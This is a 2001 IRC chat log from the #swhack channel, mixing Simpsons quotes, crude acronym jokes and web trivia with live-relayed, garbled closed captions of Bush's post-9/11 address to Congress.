00:00:35 logster has joined #swhack 00:00:35 topic is: [ a rdfs:SuperResource; = ] . 00:00:35 Users on #swhack: logster sbp tav eberg Morbus AaronSw deltab 00:00:39 The espian vision includes taking over the physical world. 00:00:55 The Semantic Web (I don't think) is anything more than software. 00:01:19 so far... 00:03:33 Mark Bernstein: "Hamlet needs to go back to school, get roaring drunk, and await his opportunity. -- veryone knows this. Nobody can say this: that's the tragedy. But what's to stop you?", http://www.markbernstein.org/talks/HT01.html 00:06:28 Does he ever talk about HyperText in his HyperText talks? 00:06:47 What do you think it's about? 00:06:54 Hamlet 00:06:59 * sbp remembers a Simpsons quote 00:07:10 He's discussing Hamlet in a hypertext context. 00:07:17 Hang on, I'm getting a quote 00:07:31 You're always remembering a Simpsons quote... 00:07:59 heh 00:08:14 Bart: Dad, what are you doing here? 00:08:14 Homer: Reading about this Edison character. They won't let me in 00:08:14 the big people library downtown, there was some ... 00:08:15 unpleasantness, I can never go back. Ooh! [reading a pop-up 00:08:15 book] Look at all the inventions Edison came up with: the 00:08:15 stock ticker, the storage battery, even wax paper! And look 00:08:17 at him dance! 00:08:19 [Homer fiddles with levers on the sides of the book, moving 00:08:21 Edison's legs. He does a little scat singing as musical 00:08:23 accompaniment] 00:08:25 And, these Hardy Boys books are great, too! This one's about 00:08:27 smugglers! 00:08:29 Bart: They're all about smugglers. 00:08:31 Homer: No, not this one! "The Smugglers of Pirate Cove". It's 00:08:33 about pirates. 00:08:35 -- Homer Simpson for America's Libraries, "The Wizard of Evergreen 00:08:37 Terrace" 00:08:39 I couldn't be bothered to type it out 00:08:41 http://www.snpp.com/episodes/5F21 00:08:54 heh 00:09:07 and therefore, Mark Bernsteins quote was about Hamlet 00:09:11 hmz, i loved the edison episode 00:09:26 Homer: Go to your room and spank yourselves! 00:09:31 i am in constant awe of da vinci 00:09:40 So was Edison 00:10:02 i fear however i will never be a da vinci, my inability to sing is spectacular 00:10:12 * AaronSw went to the Edison Insititue... interesting place, except the folks there knew nothing about Edison. 00:10:22 Bummer 00:10:30 some of my lovers even hate to hear me sing 00:10:36 can you believe that? 00:10:39 yes 00:10:43 :-) 00:10:46 bitch! 00:10:49 lol 00:11:21 * sbp thinks back to the last time he was called a bitch 00:12:42 so, what do you do for a living sbp? 00:12:58 I quote the Simpsons 00:13:12 pays well i take it 00:13:20 In my spare time, I watch The Simpsons 00:13:34 wow 00:13:41 doesn't pay at all, but it's good work 00:13:56 Who's Nelson? 00:14:02 :-) 00:14:21 I think he's at Nelson's!!! 00:14:59 I mean the Nelson that there are books on. 00:15:00 Homer: Aw, I hate folding sheets. Marge: Those are your underpants. Homer: Well, whatever: it's a two man job. Where's Bart? 00:15:19 books on? 00:15:42 waterloo? 00:15:49 south africa? 00:15:55 Ted? 00:16:35 I was thinking Ted, but 1978 is a bit early... 00:16:57 Er... yes... O.K., then... 00:17:01 * tav gives up trying to udnerstand 00:17:05 * sbp too 00:17:10 It's like in Chemistry 00:17:15 chemistry? 00:17:19 i loved chemistry 00:17:22 I used to go into rants of odd basis on a frequent basis 00:17:31 odd basis? 00:17:41 strange material? 00:17:52 I used to go fairly nuts 00:17:53 and our teacher would just go "yeah Sean... O.K., sure..." 00:18:01 heh 00:18:08 And I'd hang my head in shame and go "Aw..." 00:18:13 Ahh, apparently Lord Horatio Nelson. 00:18:16 why in chemistry? 00:18:26 'cause Chemistry kicked-ass 00:18:45 we had quite a young teacher, and she was more one of the students than the teachers :-) 00:18:52 also known as admiral horatio nelson ;p 00:18:55 deltab seems to be in a tav-bashing mood today... 00:19:44 AaronSw: it's not just today :-) 00:19:47 tav-basher! 00:19:48 lol 00:20:14 Well, it's good to see you have such a...frank...relationship with your employer. ;-) 00:20:57 what's the opposite of sychophancy? I never knew until deltab came along 00:21:03 heh 00:21:51 interesting: http://www.google.com/search?hl=en&q=Lillian+goes+to+the+wattle+shop 00:22:02 i think i'll go play gran turisimo. i'm off. 00:22:08 c'ya 00:22:10 Morbus is now known as Morbus-GT3 00:22:17 lol 00:22:26 I used to play GT1 for hours... cool game 00:22:33 yah. you have a ps2? it's insane. 00:22:57 Morbus-GT3 has quit 00:23:07 Morbus has joined #swhack 00:23:19 make your mind up, dude 00:23:23 stupid alt-tab. 00:23:26 :-) 00:23:27 Morbus is now known as Morbus-GT3 00:23:37 well, if alt-tab listened to my thoughts instead of this stupid "in order" theory, i'd be much happier 00:23:44 lol 00:23:45 AaronSw: within esp, an open relationship is encouraged 00:24:02 oh, good. You suck, then. ;-) 00:24:06 lol 00:24:07 j/k 00:24:16 hehe 00:24:21 be prepared to back up statements though ;p 00:24:40 e.g. my singing does sound really bad 00:24:46 sbp has changed the topic to: Come one, come all! It's tav bashing day. Marvel at the ways in which tav is bashed 00:24:54 Can you provide an MP3? 00:25:10 heh 00:25:16 :-) 00:25:19 i don't think i could bear to listen to that 00:25:43 But you're the one singing! 00:25:47 You just have to record. 00:26:15 Who's eberg? 00:26:26 Yo, eberg! 00:26:50 Well... he's an ex-VA employee who lives in New York and uses mutt and mailman. 00:27:10 Ah. Great 00:27:39 * tav tries to figure out the context 00:27:41 or as my ex-Chemistry teacher would say: "yeah Aaron... O.K., sure..." 00:27:50 heh 00:27:57 * AaronSw is just guessing from: *** on channels: #ex-va #mutt #swhack #mailman #xfree86 #nylug 00:28:15 :-) 00:28:57 hmz 00:29:07 how do you get your nicklist back in xchat? 00:29:21 click the arrow 00:29:31 ? 00:29:43 how did you lose it? 00:29:46 Eek: """Last night, someone called a Boston radio station to propose that the US deport all the "Middle Eastern" students at colleges and universities in the Boston area, because they might be terrorists. The host, Ted Sarandis (who is normally a sensible fellow) agreed that this might be a good idea. 00:29:48 Last night, someone called to worry that all the gas stations seem to be owned by "people like that", and perhaps they were all planning to blow them up. The Boston Globe reports that a convenience store in Somerville was set on fire by kids who (mistakenly) thought the owner was an Arab.""" 00:30:03 i took off all the menu / topic bars 00:30:08 Ekk indeed 00:30:14 s/Ekk/Eek 00:30:39 aha! 00:30:41 found it 00:30:51 Where was it? Under the sofa? 00:31:07 if you right click, the full menu pops up, and user list is on there 00:31:22 so, not under the sofa? 00:32:07 but, i did find a wonderful 2 pound coin under there yesterday 00:32:39 wonderful golden coin 00:33:51 perhaps I use too many acronyms... 00:33:51 http://www.google.com/search?hl=en&q=SW+URI+RDF+XHTML+XML 00:34:19 lol 00:34:46 Ha, but you are not the http://www.google.com/search?q=acronym+king 00:35:09 interesting 00:35:16 "I have won the World Acronymics Tournament eight times in nine years. The only time I didnıt, well, it was because my glasses were broken and I couldnıt read the writing from the overhead projector. " 00:35:18 Heh! 00:35:20 [[[(Technically, an acronym is a "word" that one can pronounce made from the first letter(s) of a phrase; e.g., RAM for Random Access Memory. Combinations not pronounced are really abbreviations; e.g., IBM for International Business Machines. For purposes of simplicity here we've combined the two under the acronym heading. You can tell the difference by looking at the pronunciation guide on each page. If it's pronounced like a word, it's an acronym 00:35:43 You didn't know that? 00:36:09 """For example, Family Members I Donıt Like But Canıt Discard, I easily remember as FMIDLBCDs. And then Former Co-Workers Who Teased Me For My Obsession With Acronyms But Only Inspired Me To Do Better In The Hope That I Might Crush Them When I Gain Power are simply recorded in my mind as FCWTMFMOWABOIMTDBITHTIMCTWIGPs. You see, the trick to that one is to remember that ³co-worker² is represented not by a ³CW,² but by just a ³C.² """ 00:36:16 - http://www.closetelvis.com/DMacronym.htm 00:37:56 yeah, I just read that 00:37:57 :-) 00:38:07 didn't know: I don't think it's correct 00:38:27 "FMIDLBCD" isn't an acronym, but the acronym king thinks that it is 00:39:19 heh 00:39:29 how people like to argue over totally useless things 00:39:38 Pffffff, useless 00:40:14 Mark Bernstein: "It's interesting to see how popular Buffy is with the hypertext theory crowd; fine writing is the key." 00:40:20 * AaronSw doesn't watch Buffy. 00:40:26 Aw, really? 00:40:38 Really. 00:40:42 ! 00:40:56 i watch 3 things on tv... 00:41:04 Ted Nelson's description of modern software as "like asking to paint, not with brushes, but with a cat. A live cat. With claws." 00:41:08 buffy, angel, dark angel 00:41:22 dark angel? Hmm... 00:41:41 I don't watch any TV on a regular basis. Once in a while, someone will say -- come watch this, and I'll watch a bit. 00:41:50 they started showing it 3 weeks ago here in the uk 00:42:27 AaronSw: aye, if it weren't for deltab i'd miss most tv 00:42:33 It was longer ago than that 00:42:40 Why deltab? 00:42:44 they advertised it on Sky One for ages 00:43:05 he's the telly addict 00:43:23 * sbp coins WFM 00:43:29 wfm? 00:43:49 WFM, another new acronym! 00:43:57 wasted female minds? 00:43:59 WFM, she's sexy 00:44:10 WFM, Aaron did become the W3C director 00:44:33 WFM, why can't tav guess what "WFM" stand for? 00:44:39 Ahh, I get it. 00:44:46 :-) 00:44:47 Anytime, honey. 00:44:50 lol 00:45:08 * sbp runs, very quickly, in the opposite direction 00:45:09 * AaronSw is practicing the "Just say yes." philosophy 00:45:15 why fuck me? 00:45:24 s/why/well/ 00:45:31 as you can tall, Aaron's philosophies leave a lot to be desired 00:45:37 lol 00:45:59 I'm always frightened of saying WFM, because of the responses it gets, but now... aha! 00:46:07 heh 00:46:10 * sbp tries it out on another channel 00:46:35 Hmm, Mark Bernstein names his machines Hope, Patience and Faith. 00:46:41 debut:- 00:46:42 * chillywilly gives thwaps with the trout all around 00:46:42 * myrddian shoots Chillywilly with a railgun 00:46:42 ZOOOP 00:46:42 WFM, this is getting to be a weird conversation 00:47:17 WFM? 00:47:18 *** tav has joined #dotgnu 00:47:18 How so SBP? 00:47:18 chillywilly! 00:47:18 Hey Tav 00:48:29 * sbp is almost off of his chair with laughter 00:49:55 How does Mark Bernstein get such weird animals where he lives? 00:49:57 an impressive debut of an impressive new acronym 00:50:08 weird animals? how so? 00:50:19 Tufted Titmice 00:50:43 Bufflehead ducks 00:52:58 Morbus-GT3 is now known as Morbus 00:53:20 are you reading through the search word logs of disobey again? 00:53:35 * sbp wonders about http://www.acronymfinder.com/add.asp?acronym=WFM 00:54:28 search word logs? 00:54:58 yeah, you know, what people found your site by in the search engines 00:55:18 I know... what's in them? 00:55:27 all sorts of weirdo stuff. 00:55:33 never cease to amaze me. 00:55:43 lemme pull some good ones out 00:55:52 hot uncensored morbus? 00:56:00 WFM 00:56:51 pictures of inverted nipples 00:57:02 a meat locker were they store meat inside 00:57:09 pear pimples on hairy fishnuts 00:57:19 lol! 00:57:23 meat locker one is good 00:57:30 they get worse. 00:57:37 those are the popular results (3 or more) ;) 00:57:39 hairy fishnuts? 00:58:03 ooh. how to make your dick bigger. i'm an expert on that apparently 00:58:17 uncircumcised and airport. 00:58:23 yeah, ok. that's an interesting combo 00:58:38 i think i'll go play gran turisimo. i'm off. 00:58:43 patton poor son of a bitch die for his country movie script 00:58:43 these heathen airports... 00:58:45 stupid cut and paste 00:59:01 heh. tic tac toe algorithm 00:59:09 s/heathen/gentile 00:59:10 Ooh, presidential address 00:59:14 people who like to sniff monkey butts 00:59:30 I'm just wondering why these searches lead to your site 00:59:37 south pacific virus spread due to volcano eruption 00:59:50 i have talked about so much since 97, sbp... 01:00:00 lol 01:00:11 bwahaha. 01:00:16 tender nutsacks 01:00:23 man, that's a good one. i pity that man 01:00:34 >> PRESIDENT IS MAKING HIS 01:00:34 WAY NOW, TO THE CHAMBER HE 01:00:34 WILL BE ANNOUNCED, BRIEFLY. 01:00:34 lol! what page of yours did that lead to, though? 01:00:52 kamikazi eclipse body kit 01:00:53 ooh, what channel is that again, Aaron? 01:00:57 why do women go to the washroom in pairs? 01:01:01 CNN_newsfeed 01:01:12 irc://chat.cnn.com/CNN_Newsfeed 01:01:29 so what's this announcement all about? or is he just gonna get all swelled with american pride again? 01:01:54 Morbus has quit 01:02:07 Morbus has joined #swhack 01:02:16 wb 01:02:31 thanks. apparently athena still crashes when you do multiserver connects 01:02:46 aha: http://www.google.com/search?q=site%3Adisobey.com+tender+nutsacks 01:02:51 Sean, did you submit WFM to acronymfinder? 01:03:31 ah. heh 01:03:47 nope 01:04:11 bbs 01:04:11 You should. 01:04:17 http://acronymfinder.com/add.asp?acronym=wfm 01:04:19 i'm a loser. what's the /list syntax for min 3 users? 01:04:22 brb 01:05:00 ooh. hey. no flood. nevermind 01:05:42 nah, nutsacks to it 01:06:00 * sbp feels his vocabulary growing day by day 01:06:10 lol 01:06:19 put it in your meat locker and smoke it 01:06:26 lol 01:07:50 How many acronyms have the exact second they were coined noted? 01:08:02 "00:43:23 * sbp coins WFM" - http://blogspace.com/swhack/chatlogs/2001-09-21.txt 01:10:08 Huh? 01:10:13 Bush: AMERICA HAS NO TRUER FRIEND 01:10:13 THAN GREAT BRITAIN. 01:10:22 uhhh. 01:11:11 Tony Blair came to the speech! 01:11:16 I guess that Tony Blair must be over there in that conference then? 01:11:18 yeah 01:11:28 Bush doesn't know his name. 01:12:04 Heh: 01:12:06 AMERICANS ARE ASKING, "WHO 01:12:06 TALKED OUR COUNTRY?" 01:12:21 AMERICANS HAVE MANY 01:12:21 QUESTIONS TONIGHT. 01:12:21 AMERICANS ARE ASKING, "WHO 01:12:21 TALKED OUR COUNTRY?" 01:12:26 what? 01:12:33 yeah, I just read the same thing :-) 01:13:17 Ooh, he fingers Osama Bin Laden. 01:13:36 yeah 01:13:55 and identifies their organization 01:15:42 wow:- 01:15:44 AND TONIGHT THE UNITED 01:15:45 STATES OF AMERICA MAKES THE 01:15:45 FOLLOWING DEMANDS ON THE 01:15:45 TALIBAN: DELIVER TO UNITED 01:15:45 STATES AUTHORITIES ALL THE 01:15:45 LEADERS OF AL-QAEDA WHO HIDE 01:15:47 IN YOUR LAND. 01:16:13 ... 01:16:14 YOU CAN BE JAILED FOR OWNING 01:16:14 A TELEVISION. 01:16:18 Doesn't sound bad to me. ;-) 01:16:23 or having a short beard 01:16:45 i need a grep or sed that will strip out all lines of an ip from a logfile. 01:16:51 so that i can say "remove all localhost and 127 from this file" 01:16:56 [...] 01:16:57 THESE DEMANDS ARE NOT O NOT 01:16:57 OPEN TO NEGOTIATION OR 01:16:57 DISCUSS. 01:18:34 A redeeming quality: 01:18:44 THE ENEMY OF AMERICA IS NOT 01:18:44 OUR MANY MUSLIM FRIENDS. 01:18:44 IT IS NOT OUR MANY ARAB 01:18:44 FRIENDS. 01:20:59 ... 01:21:00 POWER, THEY FOL IN THE PATH 01:21:00 OF FASCISM, NATSAM -- NATSISM 01:21:00 TOTALITARIAN SUPER BOWL WILL 01:21:33 what?:- 01:21:33 THEY FOL IN THE PATH 01:21:33 OF FASCISM, NATSAM -- NATSISM 01:21:33 TOTALITARIAN SUPER BOWL WILL 01:21:33 FOLLOW THAT PATH ALL THE WAY 01:21:33 TO WHERE IT ENDS 01:21:49 aw, man... how do you always get there before me? 01:22:00 My connection isn't as lagged, it seems. 01:22:07 we can't work out if it 01:22:17 s typed, or voice recognized 01:22:44 Ugh... 01:22:46 AMERICANS SHOULD NOT EXPECT 01:22:46 ONE BATTLE. 01:22:47 BUT A LENGTHY CAMPAIGN, 01:22:47 UNLIKE ANY OTHER WE HAVE 01:22:47 EVER SEEN. 01:23:11 Polarizing: 01:23:12 EITHER YOU ARE WITH US, OR 01:23:12 YOU ARE WITH THE TERRORISTS. 01:23:34 EVERY NATION AND EVERY 01:23:34 REGION NOW HAS DECISION TO 01:23:34 MAKE. 01:23:34 EITHER YOU ARE WITH US, OR 01:23:34 YOU ARE WITH THE TERRORISTS. 01:23:39 oh, damnit! 01:23:43 Morbus has quit 01:23:46 look before you paste! 01:23:56 Morbus has joined #swhack 01:23:59 gblmbglmgblmfr 01:24:36 Who's 01:24:37 PENNSYLVANIA'S TOM REGION. 01:24:37 ? 01:24:41 Tom Region? 01:24:53 yeah, I was just thinking that, but I knew you'd paste it :-) 01:25:21 Sounds like ridge...rich on TV 01:26:07 Aww, shoot: 01:26:09 THE HOUR IS COMING WHEN 01:26:09 AMERICA WILL ACT, AND YOU 01:26:09 WILL MAKE US PROUD. 01:26:39 interesting: http://www.lovecalculator.com/love.php?name1=Niles+Crane&name2=Daphne+Moon 01:26:54 Morbus has quit 01:27:27 Morbus has joined #swhack 01:27:53 heh. i love osx. 01:28:05 this stupid irc program didn't save my prefs, so i jumped into the pref file and edited it manually 01:28:11 You just seem unlucky. 01:28:24 i know. i unno what my problem is 01:28:30 AMERICANS ARE ASKING WHAT IS 01:28:30 EXPECTED OF US? 01:28:30 I ASK YOU TO LIVE YOUR LIVES, 01:28:30 AND HUG YOUR CHILDREN. 01:28:43 I was just going to paste thart. 01:29:08 :-) 01:29:51 Central source of information: http://libertyunites.org/ says Bush. 01:29:56 INCONVENDLOENS MAY ACCOMPANY 01:30:00 ? 01:30:12 Bush can't speak. 01:30:17 weird stenography 01:33:17 Pataki and Giuliani might be speaking now... well, they're there at least 01:33:35 They just sit in the audience. 01:33:49 A 01:33:50 h 01:33:56 Rebuild NYC? 01:34:13 I doubt they'll rebuild the WTC 01:34:50 I hope they put that Frank Gehry building up. 01:35:05 Frank Gehry? 01:35:20 You know... famous architect. Guggenheim Bilbao 01:35:35 He did a skyscraper for the NYTimes that looked like it was having convulsions. 01:35:38 They should put that up. 01:35:54 Hmm... 01:39:56 sbp has quit 01:39:56 deltab has quit 01:40:00 deltab has joined #swhack 01:40:08 sbp has joined #swhack 01:40:25 Well, that was interesting. 01:40:37 yes 01:41:37 "(Matt) [GlobalSpam] niven.openprojects.net will be going down for a short period of maintainance shortly. It should be right back - thanks" 01:42:07 I meant Bush. 01:42:24 Yeah, I know 01:42:32 hmm, some guy is requesting a bunch of Arab RSS feeds... 01:42:44 on CNN? 01:42:47 :-) 01:42:53 heh 01:43:11 neat: http://www.google.com/search?q=WFM+%22well+fuck+me%22&hl=en 01:43:37 neat? 01:43:42 neat 01:43:50 WFM, no results! 01:44:08 Ahh, here's the proposed Gehry skyscraper: http://www.guggenheim.org/exhibitions/gehry/ny_times_31.html 01:44:15 ah, thanks 01:44:39 Some of his work is really beautiful. 01:45:11 Wow... weird 01:45:47 How's that supposed to work? 01:45:57 What do you mean? 01:46:08 Well, how does it work? 01:46:37 He's building downtown. 01:46:41 It should be neat. 01:46:44 offices behind the twisty bits? Twisty offices? 01:47:36 I'd want a twisty office. 01:47:37 wow! 01:48:28 your filing cabinets would keep falling over 01:48:39 and where would you put the polar bear? 01:48:44 And they're building http://www.guggenheim.org/exhibitions/gehry/stat_28.html right by MIT. I walk the construction site whenever I'm in town. 01:48:54 Ooh, they're putting LCS in there! 01:49:03 Which office is TimBL's d'ya think? 01:49:05 ;-) 01:49:23 :-) 01:50:12 the one on the left 01:52:42 I have this chair! http://www.guggenheim.org/exhibitions/gehry/furniture_01.html 01:53:03 It's apparently quite valuable nowadays. 01:53:42 They were selling a miniature model for like $100 at the Museum downtown. 01:54:03 blimey 01:55:34 Oh, and I thought this cafeteria was just great. http://www.guggenheim.org/exhibitions/gehry/condenast_22.html 01:55:42 I want to eat there! 01:58:44 Oh crap, another site seems to have vanished... 01:58:51 and I can' 01:58:54 t find 01:58:57 my cache of it 01:59:01 Use the archiver, man. 01:59:11 Ah... what URI? 01:59:20 No, I mean ArchiverProxy. 01:59:46 Oh... too late for that! 02:01:43 it's weird... it's totally vanished. No trace, even on my hard drive 02:02:02 Another mysterylights site? 02:02:07 oooh oooooh oooh 02:02:31 slow down aaron, you're young still 02:02:39 Eh? 02:02:43 heh. forget it 02:02:55 oh... heh 02:02:59 heheheh 02:03:11 oooh oooooh oooh? do I detect sarcasm? 02:03:20 see, you really need the music to go along with it. 02:03:47 Ok... i'm going to shut my mouth now before anything else gets misinterpreted. 02:03:57 lol 02:03:57 please do :-) 02:04:07 He he he 02:04:45 * sbp is still searching feverently for the non-existent site 02:05:01 Want me to try and Alexa it? 02:05:36 I doubt you'll find anything... I have no idea how I even found it, and my page is the only mention of it on Google 02:06:26 Morbus does dead sites, right Morby? 02:06:33 yah. 02:06:39 "does"? 02:06:41 i see dead sites 02:06:52 Well, it's: http://asms.k12.ar.us/armem/99-00/KnodJ/Index.htm 02:06:56 Ick, you got me all in Junior High mode, now, Morbus. 02:07:03 bwahahaha. 02:07:12 can you Alexa it? 02:07:19 Heh, an Arkansas student. 02:08:22 Yes... 02:09:14 No luck... 02:09:16 Traffic: 1 star 02:09:26 Aw, man... 02:09:26 Links in: 121 02:09:34 Links in? 02:09:43 I think it means links pointing to that page. 02:09:49 Ooh! Do you have a list? 02:09:54 No. 02:09:59 Crud.. 02:10:00 . 02:10:16 Did you ask Google? 02:10:24 I still can't find it in my archives! It's bizarre. I definitely cached it... ah, but we had a power cut 02:10:33 Google: of course 02:10:53 No, hang on... my computer definitely saved it 02:11:36 Total Alexa Visits: 95 02:12:10 Blogspace.com, on the other hand has 357 visits. 02:12:27 how about infomesh.net? 02:12:29 Disobey.com has a whopping 2,853 02:12:36 w000t! 02:12:43 :) 02:12:54 Infomesh.net beats them all, of course: 02:12:55 60 02:12:57 i'm speshul 02:13:28 Yes, Morbus. 02:13:53 Heh, related links to http://infomesh.net/sbp/ -- http://www.w3.org/WAI 02:14:00 Heh 02:14:06 Gmgpmgmpgmgh: 60 02:14:10 try mysterylights.com 02:14:34 Whoa: 30 02:14:45 Links In: 1 02:15:27 WFM 02:15:44 Man, you need to install Alexa. 02:16:10 Huh??? 02:16:11 ( school bell ringing ) 02:16:11 HI! 02:16:11 BYE! 02:16:12 SHE'S NOT YOUR DAUGHTER. 02:16:12 BUT IF YOU GIVE HER 02:16:13 A RIDE HOME AFTER SCHOOL, 02:16:15 SHE MIGHT AS WELL BE. 02:16:36 Advert? 02:16:46 i think i saw that previewed earlier 02:16:54 its one of those things about being responsible for other people's kids or something 02:17:04 scare tactic about all the shite that can go wrong probably 02:17:11 and how some mom sued her best friend and won 02:17:44 Yuck. 02:18:07 Morbus, your Mom use Alexa or something? 02:18:21 uh. i wouldn't know. haven't talked to her in years 02:19:23 Oh. 02:20:20 Hello? 02:20:28 hey. why do you ask aar 02:20:28 what's up? 02:20:37 IE just crashed... 02:20:55 I was just joking about your high hit count, Morbus. 02:21:08 oOoOOoooh... 02:21:14 You know, as in "a website only a mother could love". 02:21:26 ;-0 02:21:27 heh. nah, i don't need to inflate my numbers, loser;) 02:21:33 What's disobey.com about, anyway? 02:21:48 You. 02:21:52 there's no guiding theme. "content for the discontented" 02:21:54 * sbp wonders if it might be easier to just *go* there 02:21:59 prolly :) 02:22:05 there's an about section and all that jazz 02:22:25 butt clevage: charming 02:22:34 s/clevage/cleavage 02:22:44 Does the TINAC collective have a website? 02:22:51 that was posted by some canadian mojo. they prolly spell it that way up there 02:23:35 Wow, and I'm talking to the dude: http://www.disobey.com/about/morbus.shtml 02:23:43 that makes me feel special 02:23:43 lol 02:23:50 wanna know what makes me feel special? 02:23:55 disobey.com/about/presspit.shtml 02:23:57 :) 02:24:05 2 months outta date though. hard to keep up 02:24:09 I though Nostradamus predicted "Mabbus"? 02:24:25 well, as mentioned, i can't even find the original reference, 02:24:34 but even if he didn't, the after effects of "disease" fit nicely 02:24:48 Yeah, when I first saw http://disobey.com/about/presspit.shtml I thought I was talking to some big famous Web dude. But then I found out you were just a regular jerk. 02:24:49 lol 02:24:57 LOLLL... 02:25:00 bwahaahha. ok. that rocked 02:25:37 * AaronSw wonders what's so funny 02:25:56 :-) 02:26:00 What kind of music do you like? 02:26:08 you know, this is the funny thing 02:26:11 * sbp runs for cover 02:26:15 i've just plain old come to expect that question, now 02:26:23 MORE people ask me now then before ;) 02:26:35 than before what? 02:26:43 well, it's a bit daft tellign people *not* to ask. *Don't* push the red button 02:26:50 the shiny red button 02:27:01 the shiny candy like button 02:27:04 yeah... you just have to push it 02:27:11 that beckons ever so beckoningly 02:27:17 anyone remember space madness from ren and stimpy? 02:27:26 Hey, I love plain Success Rice! 02:27:34 what, you chinese? 02:27:36 :) 02:27:45 Ahh, Ren and Stimpy... 02:27:47 actually, i haven't had it in so long i probably *do* like it now 02:28:19 Woo! I found the site on my Hard Drive... 02:28:32 ren and stimpy: I rmemeber the cow blowing up 02:29:00 * AaronSw apologizes if he's offended Morbus 02:29:02 when Stimpy joins the lodge, and Ren is crying... and all that paper and junk is blowing past him, and all of a sudden there 02:29:06 's a cow there 02:29:19 that cow was soooo funny 02:29:28 no, aaronSw, you've got to do a lot worse :) 02:29:29 hello? 02:29:41 boo 02:29:46 booboolina.com? 02:29:48 aaargh! 02:29:52 poopoochoochoo.com? 02:30:10 is there a morbus.com? 02:30:40 yes 02:30:48 morbus.com (MORBUS3-DOM) 02:30:48 morbus@nicaragua.nu 02:30:49 702 Ave Plaza 02:30:49 Leon, LE 32700 02:30:50 NI 02:31:06 heh. yeah, some guy tried to sell it to me once. 02:31:29 heh 02:32:23 I mean, hey, the guy's from Nicaragua. 02:32:43 He probably thought, hey, that Morbuse dude is a hoopy frood. 02:32:52 I'll buy morbus.com to build an awesome fan site. 02:32:58 Probably not, Aaron 02:32:58 And then he thought: 02:33:04 this fan site will be too much work. 02:33:06 actually, sadly enough, someone came to me to do a morbus fan club 02:33:13 I'll sell it to my idol, Mr. Morbus. 02:33:17 and then she's like "wait, my bf will get mad. how about a disobey fanclub?" 02:33:26 really? I'll bet it was Aaron 02:33:29 lol 02:33:32 hehe. no, it was some chick :) 02:33:37 Er... Aarona 02:33:41 lol 02:33:43 aaronette 02:33:49 yeah, that's it 02:33:49 I know these quotes are going to be taken out of context... :-/ 02:33:59 hopefully 02:34:01 :-) 02:34:04 lol 02:34:07 hehe 02:34:21 Heh, I like this juxtaposition on CNN: 02:34:26 WE WILL RALLY THE WORLD TO 02:34:27 THIS CAUSE BY OUR EFFORTS, 02:34:27 BY OUR COURAGE. 02:34:27 WE WILL NOT TIRE. 02:34:27 WE WILL NOT FALTER, AND WE 02:34:28 WILL NOT FAIL. 02:34:31 [APPLAUSE] 02:34:32 POINT. 02:34:34 SHOOT. 02:34:47 Different 02:35:03 THE HP PAVILION 7970 02:35:03 WITH THE INTEL 02:35:03 PENTIUM 4 PROCESSOR. 02:35:03 HOW WILL YOU USE IT? 02:35:08 That's a very good question... 02:35:12 * sbp wonders where the sign-up sheet is for the disobey fanclub 02:35:20 lol @ Q 02:35:42 oOoh. you wanna be my number one fan? 02:38:22 * sbp should go read some more Crowley to woo Morbus the next time he drops by 02:38:48 you could buy me something off my wishlist instead ;) 02:39:03 * sbp is still trying to find a copy of LZIII with "do what thou shalt..." in the run-off groove 02:39:06 camboy! 02:39:16 lol! woo, camboy 02:39:19 We need a Morbus webcam. 02:39:25 i got one :) 02:39:28 you want it on? :) 02:39:30 * AaronSw set up his webcam today... 02:39:38 * sbp wonders what a webcam is 02:39:41 Err, well, yes... 02:39:55 alright. hold on. gotta start up classic 02:40:09 please: no obscene gestures 02:40:25 and don't push the red button... 02:40:28 oh, i'm rather boring. 02:40:49 sorry, you can't beat me 02:41:12 hmm, wonder why my website is being so slow... 02:42:14 Aha... here's my webcam photo from this morning: http://swartzfam.com/aaron/computer.jpg 02:42:17 lol 02:42:18 alright, 63.173.138.149/index.htm should get ya thou 02:42:19 [[[ 02:42:20 Bob Saget of America's Funniest Home Videos 02:42:20 calls this page "uproariously funny. A perfect ten." 02:42:26 ]]] - http://www.disobey.com/indexx.htm 02:42:34 Heh! 02:42:34 whoo! you found the secret page! 02:42:47 i congratulate you! 02:42:49 I bet he never said that, though. 02:43:00 thanks 02:43:19 heh, the Webcam's coming through 02:43:23 do you always websurf without a shirt? 02:43:31 i do everything in boxers 02:43:34 How'd you find it, sbp? 02:43:34 and where's the obscene gesture? come on! 02:43:48 find it: dunno. I just appear in places like that 02:44:06 how's that 02:44:06 hooray! 02:44:15 hehe 02:44:49 perfect. I'm gonna have a poster made of it, and sell it to the Morbus minions 02:45:05 you should. i'll sign 100 copies if you cut me in ;) 02:45:21 I'll sign 'em myself, save you the shipping 02:45:32 no, no, i have my own special sig... 02:45:35 lemme sharpie it for you 02:45:46 if you must 02:46:22 * sbp wonders if that's the top of a laptop in the camview 02:46:41 ah. no. that's a glass of water 02:47:08 interesting: I don't have any sensibilities 02:47:16 :) 02:47:18 what's the deeley at the bottom? 02:47:28 hmm? 02:47:38 figure it out, binky. 02:47:48 woot? 02:47:53 w00t! 02:48:07 I repeat: woot? 02:48:16 w00t! 02:48:21 i dunno. i heard it somewhere 02:48:30 man, you look so bored 02:48:43 * sbp can't blame you 02:48:47 playing some stupid game and chatting to a room full of moro.... oop. 02:48:52 i mean. uh. i'm discussin the intricacies of life 02:48:59 yeah, precisely 02:49:26 you mean moro^h^h^h^hvery nice people 02:49:28 ooh. you wanna see freeshit people have sent me? 02:49:39 yeah! any body parts? 02:49:52 no. stupid shit :) 02:50:01 just as good 02:50:18 thats some stupid cd that beckons me to get off the computer in "electro" tones. 02:50:27 * sbp wonders where Aaron went 02:50:50 * AaronSw is here 02:51:00 * sbp jumps 02:51:04 what's that? 02:51:06 I can't read it 02:51:10 aaargh, blurry 02:51:13 refresh. better image 02:51:23 that's some stupid thing that peoplecards sent me. 02:51:39 Heh. 02:52:01 what's that? 02:52:12 oh, it's some dude looking at a Webcam 02:52:36 thats some 1995 sealed "entertainment zine". 02:52:41 i collect shit like that. 02:52:54 nd that's all the stuff that i have ne...ooOP. one more; 02:53:00 neat: who's that on the cover? 02:53:33 trent reznor from the closer video 02:53:48 and that's some cock soup mix from canada 02:54:17 cock soup? 02:54:26 yeah :) 02:54:30 chicken soup. 02:54:33 and you haven't eaten it yet? 02:54:39 :-) 02:54:40 yeah, so that's all i have nearby 02:54:57 * sbp should get a webcam... cool to harass people with 02:55:08 ooh... 02:55:17 advertising income! 02:55:26 * AaronSw would turn on his webcam but I'm not going to start up classic just so you losers can look at me. 02:55:35 hehe. 02:55:37 advertising? on your webcam? 02:55:45 there's only one adonis in this room, and thats me. 02:55:48 no for gamegrene. 02:56:15 aw go on, turn it on! 02:56:21 one of my covers 